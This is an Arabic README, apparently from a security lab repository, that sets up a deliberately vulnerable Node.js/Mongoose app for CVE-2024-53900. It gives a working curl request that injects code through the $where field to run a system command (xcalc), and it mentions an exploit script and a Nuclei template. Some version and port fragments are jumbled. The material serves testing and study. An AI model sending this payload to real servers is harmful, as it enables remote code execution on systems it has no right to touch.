
بيئة قابلة للتكرار وإثبات المفهوم (PoC) لـ CVE-2024-53900، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة في Mongoose عبر populate().match $where. يتضمن سكريبت استغلال آلي وقالب Nuclei لاختبار الأمان.
يوفر هذا المستودع بيئة ضعيفة قابلة للتكرار وإثبات المفهوم (PoC) لـ CVE-2024-53900، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في Mongoose < 8.8.3.
populate().match مع $whereالمراجع:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
افتراضيًا، يعمل تطبيق Node.js الضعيف داخل Docker.
ومع ذلك، تطبيقات واجهة المستخدم الرسومية (مثل xcalc أو gnome-calculator) لن تعمل داخل حاوية.
👉 إذا كنت ترغب في إظهار RCE عن طريق فتح نافذة الآلة الحاسبة:
تشغيل MongoDB في Docker (كقاعدة بيانات خلفية)
docker run -d --name mongo -p 27017:27017 mongo:6
تشغيل تطبيق Node.js الضعيف محليًا
cd ~/cve-2024/app
npm install
node server.js
270175000/home/kali/cve-2024/
├── docker-compose.yml # إعداد البيئة
├── exploit.py # سكربت الاستغلال الآلي
├── CVE-2024-53900.yaml # قالب Nuclei
├── README.md # التوثيق
├── app/ # تطبيق Node.js الضعيف
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # حجم MongoDB
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

mongo:6188.5.0 (ضعيف)4.18.2